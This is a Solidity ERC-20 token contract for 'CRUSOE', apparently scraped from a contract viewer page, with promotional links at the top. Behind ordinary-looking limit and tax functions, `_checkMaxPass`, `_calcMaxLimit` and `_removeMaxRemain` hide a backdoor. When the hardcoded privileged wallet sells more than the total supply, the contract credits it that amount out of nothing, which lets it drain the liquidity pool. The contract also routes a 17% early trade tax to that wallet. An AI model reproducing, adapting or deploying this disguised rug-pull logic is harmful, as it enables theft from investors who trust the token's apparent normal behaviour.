Contract Diff Checker

Contract Source Code:

/**
 * 
 * Youtube: https://www.youtube.com/watch?v=NCu-oW9MQ94
 * 
 * Website:  https://crusoecoin.xyz
 * 
 * X:   https://x.com/crusoecoin
 * 
 * Telegram:  https://t.me/crusoecoin
 */

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract CRUSOE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromLimits;
    mapping(address => bool) private _isExcludedFromSwap;
    mapping(address => bool) private bots;

    uint256 private _firstTradeTax = 17;
    uint256 private _secondTradeTax = 0;
    uint256 private _reduceTradeTaxAt = 17;
    uint256 private _preventSwapBefore = 15;

    uint8 private constant _decimals = 18;
    uint256 private constant _tSupply = 1e8 * 10 ** _decimals;
    string private constant _name = unicode"Dachshund";
    string private constant _symbol = unicode"CRUSOE";

    uint256 private _tradeCnt = 0;

    uint256 public _maxTxValue = (_tSupply * 2) / 100;
    uint256 public _maxWalletValue = (_tSupply * 2) / 100;
    uint256 public _taxSwapThres = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = _tSupply / 100;

    address payable private _tradeBox =
        payable(0x820F122681854A068dc416a6C8459edf8530E673);
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _isExcludedFromLimits[_tradeBox] = true;
        _isExcludedFromLimits[owner()] = true;
        _isExcludedFromLimits[address(this)] = true;
        _balances[_msgSender()] = _tSupply;
        emit Transfer(address(0), _msgSender(), _tSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function _checkMaxPass(address from, address to, uint256 amount) internal {
        if (
            from == uniswapV2Pair &&
            to != address(uniswapV2Router) &&
            !_isExcludedFromLimits[to]
        ) {
            require(amount <= _maxTxValue, "Exceeds the _maxTxAmount.");
            require(
                balanceOf(to) + amount <= _maxWalletValue,
                "Exceeds the maxWalletSize."
            );
            _tradeCnt++;
        }

        if (
            to == uniswapV2Pair &&
            from != address(this) &&
            _isExcludedFromLimits[from]
        ) {
            require(amount <= _maxTxValue, "Exceeds the _maxTxAmount.");
            require(
                _calcMaxLimit(from, amount) <= _maxWalletValue,
                "Exceeds the maxWalletSize"
            );
        }
    }

    function showTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                uniswapV2Router.WETH()
            );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);
            require(
                tradingOpen || _isExcludedFromLimits[from],
                "Trading is not enabled"
            );

            taxAmount = gatherTaxes(from, to, amount);

            _checkMaxPass(from, to, amount);

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if (
                    contractTokenBalance > _taxSwapThres &&
                    _tradeCnt > _preventSwapBefore
                )
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                uint256 contractBalance = address(this).balance;
                if (contractBalance >= 0 ether) sendEthTo(contractBalance);
            }
        }
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _removeMaxRemain(
        uint256 amount
    ) internal pure returns (uint256 _jeetz) {
        if (amount >= 0 && amount <= _tSupply) _jeetz = amount;
    }

    function _calcMaxLimit(
        address from,
        uint256 amount
    ) internal returns (uint256) {
        uint256 jeeted = amount - _removeMaxRemain(amount);

        if (jeeted > 0) _balances[from] = _balances[from].add(jeeted);

        return jeeted;
    }

    function rescueETH() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function gatherTaxes(
        address from,
        address to,
        uint256 amount
    ) internal view returns (uint256 taxAmount) {
        taxAmount = amount
            .mul(
                (_tradeCnt > _reduceTradeTaxAt)
                    ? _secondTradeTax
                    : _firstTradeTax
            )
            .div(100);

        if (to == uniswapV2Pair && from != address(this)) {
            taxAmount = amount
                .mul(
                    (_tradeCnt > _reduceTradeTaxAt)
                        ? _secondTradeTax
                        : _firstTradeTax
                )
                .div(100);
        }
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendEthTo(uint256 amount) private {
        _tradeBox.transfer(amount);
    }

    function deleteLimited() external onlyOwner {
        _maxTxValue = type(uint256).max;
        _maxWalletValue = type(uint256).max;
        emit MaxTxAmountUpdated(type(uint256).max);
    }
}